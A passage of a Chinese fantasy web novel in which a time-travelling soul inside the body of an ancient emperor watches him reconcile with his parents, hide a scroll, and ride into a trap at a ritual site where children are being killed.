云绡一时不知自己是否要开口,她犹豫了很久,久到钟离湛已经在小屋内走了好几圈,见她迟迟未出声,还以为她离开了。 【小仙女,你还在吗?】 云绡回神:“我在的。” 钟离湛晃了晃手中的东西,问她:【你觉得,这个应该藏在哪里?】 不等云绡回答,钟离湛又道:【说一个旁人一定想不到,但日后的你一定能找到的地方。】 他要将这重要的东西藏起来,藏到一个永远也不会被人找到的地方,可云绡一定要知道那个地方,因为云绡是他如今唯一信任的人。 他知道,她是很多年之后来到此地的。此次不成,钟离湛希望她回到将来,也能挖掘出他藏着的卷轴,用他教过她的方式打开卷轴,帮助苍生脱离苍穹的桎梏。 云绡心里叹出一句:果然如此。 她和钟离湛当真是缘分不浅,隔着两千多年,仍然会在未来相遇,于此刻重逢。而他忘记的一切,都是她所经历的一切,他直觉想要找到的重要的东西,她才是真正藏物选址的那个人。 待到从这里离开,两千多年后的东洲也才只是过去了三天而已。 她和钟离湛就在符玉城钟离氏的老宅里,又有什么地方……能比她回去的第一时间能够拿到的钟离氏老宅,更加安全? 云绡知道一个地方,至少她在来前,只有她和钟离湛去过那里。 “就……藏在你明天要去的地方吧。” 钟离湛微怔,他没问云绡为什么,但他相信云绡的决定。 - 翌日一早,钟离湛便整装,按照昨日回给钟离氏老宅府卫的时间,提前离开 了营帐,阔步朝符玉城的方向走去。 符玉城,是钟离湛从小生活的地方,即便距离他离开家里已经过去了两百多年,可符玉城里外未改,城门前挂着的符石仍然是他小时候刻下,父亲欢欣挂上去的那块。 钟离湛站在符石下,记忆回溯。 他天生有一双非同一般的眼睛,能看清事物真相,知道谁人说谎,谁人真心。 在他还只是及父亲腰高的孩童时期,字都练不好,便能借这时间灵气规则,绘下符文,为几所用。 符石的由来,是因为彼时钟离氏与莫氏有意结亲彼此扶持壮大氏族力量,钟离湛一眼就看出莫氏来者花言巧语,十言九谎。可他父亲单纯,从小只知读书写字绘画抚琴,信了对方七、八分。 钟离湛自幼就知道事实胜于雄辩,这才用一张符试出了对方的真心。都是氏族里的豺狼虎豹,此番奉承他们钟离氏,也不过是因为与另一边拉帮结派,想要分割东洲的利益。 钟离湛的父亲爱子极深,尤其是钟离湛还帮他免遭小人欺瞒,一高兴就将那张符文拓印在石头上,把符石挂上了城墙。 城门前钟离氏的府卫已经等着了,见到钟离湛的时候,城内外跪地一片。 如今的钟离湛也不是钟离氏的嫡公子,而是照国的帝王。 即便他没穿正式的玄服,只一身轻装归来,也早就物事大改。 钟离湛的周围没人敢簇拥过去,尤其是数月前他才斩杀了姚氏亲族嫡子。整个符玉城有大半城池是依偎在一起的宅院,曾经依附钟离氏,互帮互助,而今表面仍然在一起,可内里的那道小门已经封住了许多。 钟离湛越过无数院门,顺着记忆往钟离氏老宅的深处走。 云绡在他的身体里看着曾经钟离氏的繁荣,又想到后来那萧索的宅院,果然天差地别,难怪钟离湛一路顺着老宅走进去都是沉默的。 钟离湛步入老宅,他的父母没在门前,祖母也因为姚氏之事称病没能现身,只有看上去年迈许多的祖父蔚然站直,望着眼前早就不是曾在他羽翼之下习剑的钟离湛,有了片刻失神。 “拜见君上。” 钟离湛的祖父一时不知道自己是该跪,还是该弯腰。 钟离湛成为曦帝,钟离氏没有打着他的名号为非作歹,钟离湛也没有给予钟离氏任何便利帮扶。倒是那些野心骤涨为他人所用的旁支们从中搅弄风雨,叫钟离湛与钟离氏之间愈发陌生。 那丝陌生,在钟离湛抬起祖父的手腕,弯腰对他的祖父行礼时,也烟消云散。 老者今年四百多岁,按照曦族寿命而言他还年轻,可凡人之躯哪能真的承载存活数千年的灵魂?他的身体早就在走下坡路了,他知道的。 苍老的眼抬起看向钟离湛时,云绡对上了老者含泪的目光,有些失望,也有些不忍,千言万语,化作一句:“你母亲给你做了你爱吃的银鱼干。” 钟离湛离家时还是个孩子,而他们……已经不知要如何和他相处了。 云绡看见了钟离湛的父母,他与他父亲长得不一样,钟离湛的父亲身形较瘦,好在人高,穿衣也能撑得住。唯一与钟离湛像的,是他的发丝也是微卷的,长卷如浪披在肩背,鬓角竟生了几丝银白。 钟离湛的相貌更像他的母亲,贵妇人的狐狸眼看人时有些冷,在见到钟离湛时又如春风化雨,弯弯的似新月,眼角细纹显着她已不再年轻了。 钟离湛看着这样的祖父、父亲和母亲,心中百味杂陈。 他联想到自己每况愈下的身体,像是明白了什么,又觉得不可置信。 无尽的酸涩和愧疚几乎要将他淹没,钟离湛恍然知道,父母和祖父的转变都是因为他。 他想起今日所来目的,迫不及待呈上,把那张纸铺展于桌案上道:“父亲,母亲,祖父,这是我为符玉城所绘的符阵,你们一定要听我细说,将这些纸上符文按顺序排列至城墙内外,可防忧患。” 祖父沉默。 母亲脸上的笑意也渐渐淡了下来。 父亲沉声问:“你今日过来,就是为了说这些?” 钟离湛愣怔,他是为此而来,也不完全是为此而来的。 钟离湛不知要如何解释他看破了天机,而他接下来要做的事可能会死,即便云绡的魂魄此刻就在他的身体里,他确定自己或许还有以后,否则他不会认得云绡,可他不敢赌! 尤其是不敢拿自己至亲之人的生命,与苍穹之上的恶徒硬碰硬。 他的符阵,可以破除别有用心者对符玉城的摧毁,也可以阻拦这世间存在的绝大部分的欺骗和恶意,至少可以让他的至亲在没有他的日子里,活得稍微轻松一些。 钟离湛能告诉他们,他来,是为了见他们最后一面的吗? 真话不可说,假话也说不出口。 “我来,是因为想见你们。” 钟离湛听到了自己的声音,却不是他会说的话。 他有片刻失神,随后发现自己的身躯已经在方才的几息里,被另一道魂魄的力量控制着。 云绡看着钟离湛的亲人道:“离家之后,我很多次都想要回来看一看,只是绊住脚步的事太杂太多,唯今得空。” “祖父教导我剑术,父亲教我凛然公正,母亲教我心怀慈爱,这些我都没有忘记。所以,我才用你们从小教我的能力,去平这世间不公,我走的每一步,出的每一剑,行的每一条路,都离不开你们。” “所以呢?”钟离湛的父亲红着眼眶看着自己已经有些陌生的儿子:“你用你心中公义,对付手足!钟离湛,这世间并非事事非黑即白!你可知道,钢过硬易折!你去听听,听听外界人是如何传你的?!他们说你嗜血成性,杀人如麻!说你昏庸无度,残暴不仁!” 他拿起桌上写满符文的纸撕碎了扔在钟离湛的身上:“数年过家门不入,撇开宗族至亲,连你祖母的面子也践踏,你要生生逼死我的母亲!你以为这轻飘飘的一张纸就能让我们理解你,原谅你吗?!” 云绡有些恍惚。 她知道钟离湛的心在符玉城中留有遗憾,可当她直面钟离湛父亲的指责时,仍然心中酸涩,更不要说是钟离湛他自己。 云绡还想要说什么,可她已经说不出口了。 钟离湛的确痛苦、难堪,即便被世人误解,他也不想让父母难过。 可他仍不认为自己做错了,这世间的确不是事事皆是非黑即白,可他有分辨是非黑白的能力。他的耳朵听见了哀求,他的眼睛看见了真相,他的手,就不会留情。 “不求原谅,但求心安。” 说完这句话,钟离湛便朝他的亲人鞠躬行礼,离开了饭厅,钟离湛又重新走了一遍自己自幼生活的地方。 望着熟悉的场景,他已经重新整理好了情绪。 他问云绡:“你说能藏的地方,是哪里?” 云绡没他平复的那么快,她是个亲缘极薄之人,从未体会过被至亲之人爱过的滋味。钟离湛教她学会感受爱意和表达爱意,可原来两 千多年前的他自己在面对所爱之时也是懵懂的,拧巴的,甚至以沉默吞下苦果,伤人又自伤。 云绡发闷着声音道:“藏在那个湖心楼阁下吧,你在那里下过阵咒。” “那里啊……”钟离湛道:“是个好地方。” 钟离湛藏东西很快,他甚至不用亲自去楼阁下,只需站在楼阁外对着手里的卷轴画出几道咒文,卷轴便在他眼前消失了。 做完这一切,钟离湛转身就走。 云绡问他:“这就走了?” 钟离湛嗯了声。 云绡抿唇,所以遗憾,哪怕是她知道结果,最终也还是会变成遗憾吗? 钟离湛离开符玉城时他的父母还是来送他了,厅内的争执在这一刻烟消云散,父母之爱子,叫他们总是最先服软的那一个。 他们没有靠近,离钟离湛大约十来步的距离,夫妻二人互相搀扶着,两双眼看着钟离湛愈走愈远的背影,满是复杂的情绪。 云绡回头看了好几眼,待到几乎要看不见人了,她又突然制止了钟离湛的脚步。 “怎么?”钟离湛问。 云绡认真道:“今日若你不回头地走,来日必定会后悔的,我知道你爱你的父母,也知道他们同样爱你,你感受过他们的爱,就更应该知道要如何去爱人。” “钟离湛,爱人的第一步,是学会表达。” 这是钟离湛曾教会云绡的道理:“哪怕是一个拥抱,至少要让他们知晓。” 说完这话,云绡彻底掌控钟离湛的身躯,操纵着他的身体,转身向符玉城奔去。 青年迎着夏日的风,衣袂拂过霖江边的野草,就像他过去爬狗洞也要离开家奔向外面的世界一样,同样的步伐奔向了他的归处。 好似有某一刻,高大的身躯变回了那个小小的少年。 他的身量很高,一臂搂住了一个人,短暂的拥抱,如同热烈的风。 是云绡拥抱了他的父母,又轮到了钟离湛松开他们。 钟离湛忽而有些不舍,他怪云绡枉顾他的意愿多此一举,让他二百多岁的男人还要像个孩童一样索取拥抱。 但在分离的那一刻,他还是记下了父母身上的味道。 “愿爹娘安好。” 钟离湛这次是真的走了,走得很快,耳根极红,他也没有回头。 第115章 钟离湛不曾想过,他的父母至亲气恼,是因为他们钟离氏嫡系一支本就子嗣不丰。 钟离湛的祖父就两个儿子,长子早年上了战场牺牲,为家族挣了荣耀自己却再也没回来,故而次子不好武学,只爱吟诗作对摆弄风月,他也纵容着。 到了钟离湛这一辈,他爹娘没能给他再生个兄弟姐妹,只他一个,偏偏还离家那么远,那么久。 为了保全钟离氏长达千年的门楣和威望,那些旁支和表亲对他们而言就尤为重要,他们可以是撑着钟离氏往上走的左膀右臂,也可以是拉钟离氏下高台的漩涡。 与他们作对,无异于将钟离氏推向了风口浪尖,姚氏曾与钟离氏何其亲厚,却也在数月前被钟离湛一刀斩断,从亲成了仇。 钟离湛的父亲不知这世间公义为何,他只知道他活了几百年,不想看周围人物异改,也不想自己的儿子失去一切帮扶。 有的时候,有些事情,睁一只眼闭一只眼,会比两只眼睛睁开直面血淋淋的真相要更容易。 偏偏,钟离氏安稳了这么多年,只他钟离湛自小不同,剑走偏锋。 而他们每一次,也都如同这一次一样,只能目送着孩子离去,什么也做不了。 钟离湛的母亲扑进了丈夫的怀抱中,呜咽的声音道:“他没吃我做的银鱼干。” 钟离湛的父亲安慰她:“以后会有机会的。” 曦族人寿命长,自阿湛离家之后他们见面的次数屈指可数,可他们还有大把时间等待,总有下一次机会。 下一次,他们安安静静地坐在一起吃饭,就不吵了。 终归他们才是至亲至爱之人,那些旁支表亲们,合则来,不合则散,哪怕钟离氏中相互扶持的兄弟们从此不再往来,哪怕钟离氏可能自此被曦族的其他氏族排挤,凋零…… 云绡知道,钟离湛这一走之后就再也没能回来,所以她不想让他留有一丝遗憾。 可她不知道,若非她带着钟离湛回头,或许符玉城也早就在无数战争和时光流逝中消失无踪。 那一个拥抱,到底叫钟离湛的父母舍不得,又不知要如何疼爱早就长大成人有自己主见亦无法回头的孩子。 他们只能回去捡起那张写满钟离湛的担忧和爱意的纸,挑灯拼凑,一点也没有错漏地将符文复刻在了符玉城的城墙内外。 那一刻的心情,和他当初抱着年幼的钟离湛,把他绘的符拓在符石上一般无二- 离开符玉城,钟离湛径直往王宫而去,他还有许多事情需要安排,他知道他的记忆并不牢固。 因为在符玉城耽搁了会儿,钟离湛回到王宫时洛锦已经在那儿了。 他有些意外,毕竟在去符玉城前他吩咐洛锦安排撤去营帐和撤去望月山周围兵力等事宜,他不应当来得这么早。 洛锦只道:“何大人听闻湖族那边似有冤情,便在东洲多留了一段时间,君上吩咐的事皆有何大人善后。” 钟离湛点头,何舜办事比洛锦更为细致些。 左右月坛如今已经不再重要,白玉阶上雕刻的符文也被他的精炁催动过一次,大阵已去,那里就是个寻常观月台,没有多大用处了。 钟离湛只是有些可惜,他做任何事都不想没头没尾,原本以为何舜会先归来,他便好将照国后续数十年的发展规划全都交给何舜。 何舜跟着钟离湛的时间很长,他曾是人族帝王手下的得力干将,若不是因为他的指点,当初其他四族攻打人族,人族的城池也坚持不了几回。 可就是何舜这样有才有能的人也被彼时的人族帝王抛弃。 一个吃惯了人肉的帝王心中充满的戾气,疯魔程度叫何舜的所有谏言都成了谗言,甚至何家几个还不足腰高的孩子也被拖进了宫中,成了人族帝王的盘中餐。 何舜经历过苦难和可怕的人心,轻易不相信任何人,他身边没有亲人了,唯一坚持到现在的就是一颗不想再让悲剧在世间重演的决心。 或许近几年何舜的手段愈发狠厉,可钟离湛也是从尸山骨海中走出来的,他不认为对恶人凶狠是错。 钟离湛观察何舜很长时间,他做每一件事要么是完全听从钟离湛的指挥,要么是从最基本的百姓着想而出发,从未改变过,也没动摇过。 钟离湛以为,这世间,是他称帝还是由其他人都无所谓,只要那个人是个好的君主,可以为民谋福就行。 他等不了何舜,便只能将自己能交给何舜的,都整理出来留给他。 而他得去一趟北方,去岐凤山。 钟离湛破解了那场雨的咒语,他需要去验证,看能否断开岐凤山与苍穹之上的联系,又能否断开苍穹对尾人族的“赐福”。 云绡见钟离湛一直在写写画画,如同交代后事一样将他能为何舜想到的一切都准备妥当,甚至还给对方留有足够的符纸,毕竟何舜是人族。 这世间对人族何其不公,其他四族的长处,任意一个都能将人族打压到万劫不复之地。 钟离湛留给何舜的符,每一张都是为了能让他自保,至少活得时间长一些,能让他有足够的机会去寻找到下一个可以为苍生谋福之人。 云绡心中震撼,又愕然:“你……你不当曦帝了?” 钟离湛抿唇道:【断看我能否回来。】 云绡一时哑然,钟离湛真的不一定能回来。 云绡突然有些害怕继续留在这里了,她知道钟离湛的结局,而且经过藏卷轴一事让她知道,她极有可能无法改变钟离湛的结局,最后只能眼睁睁地看着他死去。 云绡深知自己无法面对那时刻,她想为钟离湛做些什么,钟离湛不应允,那云绡便想赶紧离开这里,回到她生活的时空,再想尽办法帮助钟离湛复活。 毕竟她来这里的目的已经达到了,她知道钟离湛忘记的,想找的是什么。 洛锦对钟离湛的想法一无所知,甚至还提醒钟离湛,很快就要到他的生辰了,今年是否还如往年一样,什么也不办。 钟离湛是氏族出生,生辰不似寻常人一样没人记得,他是钟离氏的嫡子且是唯一的那一个,只要有心人稍加打听就知道他是哪一日出生的了。 钟离湛自离开符玉城后就没办过生辰宴,成了曦帝也不拘泥于这些。是后来有一年尾人族为了感谢钟离湛将若川连绵的山赠予他们,这才用 心为他准备了生辰礼,之后年年呈来他们养大的兽,来用来吃都行。 而后每年洛锦都会问钟离湛,是否要办生辰宴,钟离湛都推了。 近来忙碌,若非洛锦提醒,钟离湛都忘了自己的生辰了……其实每年他都会忘记,毕竟他对这件事从没在意过。 钟离湛刚想说如往常一样默默过去就是了,结果云绡先他一步开口:“待孤想想。” 洛锦愣了瞬,应声退下。 钟离湛蹙眉:【你要做什么?】 云绡骇然,方才洛锦说了钟离湛的生辰,云绡听那日子觉得熟悉,后来一想便浑身发麻。 “夏天到了,桃子成熟了,钟离湛。” 云绡没头没尾的一句话叫钟离湛不得其解。 只有云绡心中惊涛骇浪,久久不能平息。 夏天到了,桃子成熟了,每年的圣仙节也在这个时候…… 云绡永远都记得改变她命运之日,那是连续热闹三天的圣仙节,是夏天最热的时候。她从云宓的宫中偷了桃子,又在自己的宫中摘了些瓜果,算计人心,坠入神霄塔的禁地。 ——遇见了钟离湛。 圣仙节,是杀神忌日,原来圣仙节,离钟离湛的生辰也这么近。 钟离湛想了好一会儿,只能将这句莫名其妙的话作为小仙女想要在他生辰的时候送他桃子。 桃子,又有寿桃之意,寓长寿和健康。 他不想麻烦,故而道:【孤不爱吃桃。】 惊人的熟悉的一句话,叫云绡的心跳有那么一瞬停住,忘了呼吸。 云绡豁然想到钟离湛可能死期将近,她几乎能看见悬在他头顶上的那把长剑摇摇欲坠,脊骨处传来一阵锥心的疼,云绡霎时间冷汗涔涔。 他是今年死去吗?应当不是的,因为他死于圣仙之手,而今连圣仙在哪儿都没听说过,可即便不是今年,不是一个月后,最多也就是这几年的光景了。 凭什么?! 凭什么一心为民者不得安生,凭什么那狗屁圣仙能名留青史?凭什么钟离湛要死在他生辰后的第三天? 凭什么后来的每一年,这世间每一个人欢庆钟离湛死去的时刻,本应当是全心想要救他们之人的诞生日? 何其讽刺! 【孤不过生辰。】 钟离湛的话叫云绡又回过神来,她愣愣地盯着钟离湛有条不紊地继续安排他的“后事”,心中无尽悲凉,心疼化为实质,让她占据了钟离湛的身体,阻止他继续整理这些琐事。 “为何不过?我给你过!”云绡道:“就要开开心心地过生辰,热热闹闹地为自己庆生!” 钟离湛:【……】 云绡顿了顿,又说:“这可能是我最后一次来找你了,哥哥。” 这一定是她最后一次见到两千余年前的,还活着的钟离湛了。 钟离湛立刻从她这句话中猜到了什么,他有些恍惚,又有些豁然,于是就没有阻止云绡用他的身份,命令洛锦准备为他庆生。 云绡没有帝王庆生的经验,以往显帝生辰她都是在最后面,最角落的位置,偏僻到要一直抬头才能偶尔看见璀璨的烟火。 她此生见过的最大的排场和阵仗,便是圣仙节的庆贺。 如同对命运的反抗,云绡所有规模都按照圣仙节的来,但所有排场都比圣仙节的要大。仿佛只有这样,才能让钟离湛的生辰在人们的心中留下足够深的印象,压制着圣仙节的热闹。 她要宰杀尾人族呈来的马鹿,分肉满朝,血画祝文。 因为此时没有烟火,她便要画了许多火符,以御风符将它们送上天空,火符燃烧后绽放,星星点点的火光在无踪符中消散,要让家家户户都看见如同烟火一样璀璨的光。 她还要将瓜果堆满车载,行至大街小巷,赠予每一个诚心祝愿钟离湛能长寿康健之人。 云绡将一切都设想得很好,洛锦也办得热火朝天,总要有一件喜庆事冲散这段时间百姓对曦帝的误解。 但事与愿违,钟离湛终究没能在王宫等到生辰那一日。 八百里加急,何舜调查湖族中的冤屈有了眉目,需得钟离湛亲自前往处理,处理地并不在湖族。 湖族近来怪事频生,其实也不止是他们,其他几族中也有相似的事情发生,只是彼时为钟离湛盖建月坛关键时刻,各族当地官员一半信了钟离湛要成仙不敢打搅,一半信了钟离湛是暴君极力隐瞒,这才导致事情愈压愈久,最后爆发。 许多户人家都丢失了孩子。 湖族与东洲不过一江之隔,还是湖族中丢孩子的有人听说钟离湛在盖建月坛,拼死游江,跑到江对岸来告状,这才被何舜知晓。 民间早有百姓丢孩子的说法,但何舜一直以为那是氏族攻讦钟离湛而散发的谣言,却没想到确有其事。 钟离湛彼时已经不在东洲,何舜便跟着那人去了湖族调查,最终沿着蛛丝马迹,找到一些模样特殊的孩子的踪迹,他们都被人带去了连玉州。 连玉州! 云绡看见这三个字,顿时对钟离湛道:“别去!” 这两个字一出,忽而天空雷鸣轰动,明明圆月当空之夜却突然暴雨绵延,那雷霆骤然朝王宫的方向劈过来,在钟离湛的瞳孔中闪过了一道绽开的火树,又落下。 钟离湛抬手给自己下了个禁制,喉头涌上一股腥甜,他想咽下去,没忍住还是咳嗽了出来。 血液喷洒于案上来信,染红了上面的字迹。 【别让你的神魂散在这里。】 钟离湛于心声中道:【回去!】 回去你该去的地方。 第116章 钟离湛一声急促的呵斥,叫云绡立即陷入了黑暗中。 她知道这是因为他在身上下了禁制,他那样厉害的人,能想到在望月山上盖建月坛,千层白玉阶的符文把他拉回数千年前咒雨真相之中,又如何真的能叫一个异世而来的魂魄占据身躯,控制他为所欲为? 云绡第一次出现时钟离湛毫不知情,也没往这方面设想过,苏醒之后以为幻梦一场。 第二次云绡到他的身体里后,钟离湛几乎能随时与她对话,甚至到后来他的身躯仍然由他自己主宰,云绡不过是潜藏于他身体里的一个看客。 这一次,他们的魂魄自如切换,那也是因为钟离湛让着她的。 他想逼退她,随时都可以。 云绡听到了雷声,她也害怕,她知道她那句话可能会改变既定的历史发展,也许她已经被当下的天道捕捉到。 她的灵魂在钟离湛的身上,若她有事,钟离湛未必能安全。 可云绡更害怕钟离湛的生死存亡,满满一张纸记录了失踪的孩童人数,可在云绡眼里最醒目的仍然是“连玉州”三个字。 连玉州,为人族领地,即便两千多年过去,那里也仍然是人族的王宫选址。 钟离湛若今日动身去了连玉州,他就再也回不来了! 云绡懂钟离湛,将他 引到连玉州的人显然也很了解他,知道用什么能让他不顾一切也要尽快往那边赶去。 钟离湛这两百多年游走于苍生之间,斩断罪恶,坐上曦帝之位,为的不就是让苍生安宁,世间无争,公正悬天,安居乐业? 是谁用孩童的性命威胁他万里赴北,只身送死? 云绡想要和钟离湛说话,可她似乎因为禁制的原因与钟离湛阻断了联系。 她说的话他听不到,他的声音她也听不到,她就是一个被困在钟离湛身体里的魂魄,可以顺着他的身体看向周围的一切,却无法离开,无法挣脱,无法……救他。 - 钟离湛离开了王宫,他将自己能交给何舜的东西全都放在了王宫的寝殿中,并将此事告知洛锦,若他两个月未归,便让何舜入殿执令。 洛锦不知钟离湛的寝殿中放了什么,可他直觉这一次钟离湛的离开不太对劲。 一切似乎都很仓促,便是他没有何舜那样聪慧的脑子也知道,此一行多半惊险 洛锦送钟离湛离王宫的路上,像是想到了什么开口道:“君上!此事蹊跷,何大人只说那些失踪的孩子都被送去了连玉州,并未说是连玉州的何处,连玉州那么大,是否需要再调查一番——” 钟离湛打断了他的话:“孤知道在哪儿。” 他曾去过的,人族帝王的住所,那场布满罪恶的宫殿里,到处堆积着孩童的尸骨。 一个妖道的谗言,毁了一个君王的意志,而天灾人祸,致使颗粒无收的土地上,人肉烹煮,叫那位君王成了恶鬼。 何舜之所以会八百里加急传信,让他务必亲往,正是因为何舜也是那场灾祸的受害者。 何舜曾是人族帝王的臣子,可家中子侄皆入了那个人族帝王的口中。他只在信上提到连玉州而没有精准的位置,是因为那个地方对何舜而言是永远也不会愈合的伤疤。 钟离湛想起他第一次见到何舜的时候。 彼时他提着剑冲入了王宫,宫人早就因为他的到来四散跑开,肩负罪恶之人当他是杀神,而那些从未行恶者则当他是救世主,纷乱的人群中只有何舜没有看向他。 他跪在一堆白骨与血淋淋的血肉里,翻得双手漆黑指甲外翻。 那时他的世界里没有救世主,也没有杀神,他只知道他刚出生才满月的孩子被禁卫军提到了宫中,他的妻子倒在血泊里无人营救。 在他从战争前线退回来时,他妻子的尸体已经干瘪发臭,爬满了蛆虫。 何舜入宫只是为了找到自己孩子的尸骨,将他与妻子埋葬在一起。 可宫中孩童的尸骨太多了,那些大小不一堆积在一起早就被剔干皮肉的骨头分不清谁是谁的,有的甚至白森森的,是熬过汤才被扔出来的。 钟离湛杀完了帝王离开宫殿出来时,空荡荡的王宫正前方只剩下何舜一个人。他从一堆白骨山找到了另一堆白骨山,眼泪早就流干了,可他认不出哪一个是他的孩子。 钟离湛走到他跟前问他:“你要找谁?” 何舜没抬头,他讷讷道:“孩子……我的孩子……” 钟离湛看过了太多生死离别,既知晓人族帝王之恶,再看这些堆积成山的白骨也知道,世间如何舜一般的可怜人无数。 但何舜就在他的眼前,所以他没办法无视他的悲苦。 “我帮你。” 他说完这句话,隔空从何舜破烂的指尖上取出一滴血落在符纸上,再将符纸扔了出去,不过片刻就寻到了与何舜血脉相连的孩子。 那个小孩因为实在太小了,他的尸体没被分餐,归在了一处。 何舜没道谢,他厌恶这世间所有玄妙之力,正是因为一个能使符咒的妖道出现在人族帝王跟前,才让那个帝王在短时间内染上吃人的瘾。 所以他也畏惧,憎恨会用这些玄妙之力的钟离湛,可他心里知道钟离湛帮了他,他听过钟离湛的名声,他知道他是个会杀人的好人。 钟离湛不差一句道谢,他只是将那张符送出去后便离开了那满是腥臭的地方,没有回头。 后来的机缘巧合之下,钟离湛成了曦帝,何舜听说了他成为曦帝前的那几年的所作所为,他不相信这世上有全然公正无私之人,可他的心中仍然对安宁的世界抱有期待。 所以他自荐成臣,替钟离湛做事。 是多年的相处,是钟离湛的每一个从百姓角度出发的政策,让何舜坚信他是一个好帝王,而跟随钟离湛,是何舜做得最正确的决定。 疾驰的马蹄,一路从南往北前行,钟离湛的目的只有那一个地方。 人族帝王的宫殿后来发了一场大火,那是无数被吞噬了孩子的百姓对罪孽的报复,大火焚尽了血腥与杀戮,烧干了食人帝王存世的一切踪迹。 后来的那里也被夷为平地,没有树木生长,也没有加砖盖瓦,很长一段时间它都是光秃秃的,荒凉的土地。 人们心中畏惧这里曾经的罪恶,所以甚少有人靠近。 也正因为无人靠近,那里反而成了野心之人的聚集地。 一场怪异的雷雨,顺着曦族追着钟离湛行了一路,从云绡说出让他别去连玉州那两个字后雷霆声就一直在钟离湛的身侧轰隆隆响个不停。 钟离湛施在自身上的禁制让那些雷霆无法锁定云绡的位置,也让他无法断定云绡此刻究竟还在不在他的身上,他不敢冒险松开禁制,也无法阻止雷霆追随。 路过旖族的地界,一场雨浇上了锦仙山的方向,六月吹来的寒风中夹杂着几片冰冷的雪花,雪花所到之处,雷霆万钧。 钟离湛险些被困在那里出不来。 他知道自己的封印只能让洛娥留在锦仙山不能再祸害苍生,也无法回到将她踢出的棋局上,可这不代表此刻的他能抹去洛娥的能力。 追着钟离湛的雷霆,和落在他身上锁定他位置的雪花似乎达成了默契,有一种无形的力量如同一只只巨大的手,掌握着风,妄图牵扯着他的命运。 马蹄破空,疾身而去。 钟离湛的心中升起不好的预感,他迅速凭空画了一张符,再朝金色的符文撞了过去。 暗淡的颜色附着在他的身上,驱散了冰雪和白雾的遮拦。 盛暑阳光洒下,照见钟离湛的玄衣之上有跃动的符文,只要这些符文还在,他就不会被那股力量控制,他的记忆也不会在赶路的途中消散。 他要快点到达连玉州! 妖邪之术,终要破之,待将连玉州一事解决,再去岐凤山也不过数百里路程。 - 云绡能看见跟在钟离湛身后的东西。 他没回头,她能回头,以魂魄的力量看穿钟离湛的身躯,和追随在他身后的如梦似幻的从天而落的手掌。 若把足下比作池,钟离湛就是池中最特别的那条鱼,云之上的大手探入他们面前的池水中,前后阻拦,反复搅动,他们要抓住那条最特别的鱼。 若不抓住那条鱼,待到那条鱼冲破了水池的边缘,池水与江海融为一体,那一切都会超出他们的掌控,而他们亦是竹篮打水,遭自反噬。 云绡看见那只手越来越近,它比山还大,它的手掌压下来,立刻便能将附近的一座城池碾碎。 云绡看见的手掌在现实里是无形的风,它直朝钟离湛而来,粗壮的手指如同黑压压的云,伴随着掌心的雷电,劈里啪啦地落在大地上。 回头啊!钟离湛! 云绡心跳加速:“快回头啊,钟离湛!” “其实你不必明知是死局也要前往,其实你不必要为了这些与你毫不相干之人耗尽一生,即便没有你,再过个几十年,几百年,肯定还会有另一个人出现!就让其他人当这救世主,就让其他人去抵抗那些天上的鬼魅!” “人只有活着,才能做更多事,不是吗?只有活着,才有机会朝你想要改变的的方向努力!” “回头吧,钟离湛!自私一点,没有人会怪你,你已经做得够多了!” “不要去连玉州!不要去!你会死的,你会死在那里的!” 云绡劝说钟离湛的话,悉数被她自己吞了回去,她知道钟离湛听不到她的声音,可仍然不敢喊出声。 她怕她会动摇钟离湛,不是怕动摇他的决心,而是怕让他此刻慢了一步,被那只手抓住,那他想做的一切都没有开始,他前面的所有付出都将白费。 她只能在内心幻想,如果他没有离开曦族,如果他没有来到连玉州,如果他活得能自私一些…… 钟离湛是这世上最大的傻子。 他也是这世上,最好的人。 - 骏马踏入连玉州。 钟离湛衣袂上的符文被泥水溅染,他风尘仆仆地行了无数山路,最终到达了他曾来 过的地方。 烈火炎炎,人骨为柴,燃烧出来的火光中透出星星点点的蓝色。 血旗为幡,巨鼎成锅,沸腾的滚水中依稀能辨别形状的肉块随之翻涌。 黑云之下,肉糜的腥味直叫人作呕,无数孩童的哭声,尖叫声,惊恐的呼喊声此起彼伏。而那口巨大的鼎旁砌起了高台,身披黑袍者将那些孩童排列成队,把他们一个个推入火海。 巨鼎上刻满了符咒,巨鼎之外每一层深刻进去的地面里都流淌着血液,那些腥煞之气几乎将百里之内的土地都染成了血红色,而那凹陷的土地从高处去看,便成六杀阵。 “取极阴煞之地,竖立血幡,旧事重现。六杀阵,杀天,杀地,杀阴冥,杀人,杀鬼,杀神灵。”钟离湛道:“你们做这一切不是为了效仿人族氿帝,妄图食童男童女灵炁成仙,倒更像是以妖邪之术,杀身慑魂。” 那些围绕着巨鼎的人就像是行尸走肉,傀儡一般根本没有听见他说的话。 邪风阵阵,钟离湛拔出腰间长剑,踏入六杀阵中,斩首不断害人性命的傀儡。 忽而大地震颤,巨鼎倾倒,滚烫的含着血肉的沸水如同山洪倾泻,直朝钟离湛而来。 第117章 尸海如潮,从倾翻的巨鼎中滚涌而出,钟离湛执剑站在那些被他斩杀的傀儡身上。 他没有躲避,一剑破空,将尸水劈成了两半,无数阴谋诡计无所遁形,就像是碎裂的镜面,顺着从他身侧倾泻而过的尸水中一闪而过。 许多人影在尸水中掠过,每个人的身上都有一道属于他们的印记,四族汇聚,竟然每一个都想要钟离湛死。 云绡借着钟离湛的双眼,看见了那些人议论纷纷。 “他近来更疯了,连自己的亲族都能斩杀,谁知道下一剑是否会落到我们的头上?” “对!尤其是近些年来,他做过的事皆是偏激。他拥有至高无上的地位和能力,我们在他跟前都是蝼蚁,所谓公正,不过是按照他的喜好行事,顺他者昌,逆他者亡。” “杀了他!” “对!杀了他!” “他不是自诩正义,为人直善?那便想个办法诱他前来!诸位,此番合作,谁都得出力,但那钟离湛死后,谁能得到神明青睐,赐予长生仙力,你我各凭本事。” 那些人中,云绡看见了好些眼熟的,因她过目不忘,曾经在钟离湛的身躯里时她也上朝。朝中官员五族皆有,那些模糊的身影中,有几个正是受钟离湛恩惠赐官的臣子。 “他们……” 他们,本应该是拥护钟离湛的人,若没有钟离湛,他们早就死了! 显然钟离湛也认出了这些人,更甚至,他认得每一个人,每一个皆是他于他们有恩。 五族中,四族都在这儿,就差个人族了。 云绡不懂,他们口中提到的神明青睐,赐予长生仙力又是何意?她的头脑一阵刺痛,不知是因为魂魄与钟离湛共感,还是因为她即将要离开这里了。 怎么可以?! 云绡心脏骤停,怎么可以在这个时候离开?! 这是一场由云上巨人布局,专门针对钟离湛的阴谋!也只有这些人才能在钟离湛最需要帮扶的时候,背后捅刀! 以他之信徒,背刺于他!何其险恶!何其狠毒! 【呵——】 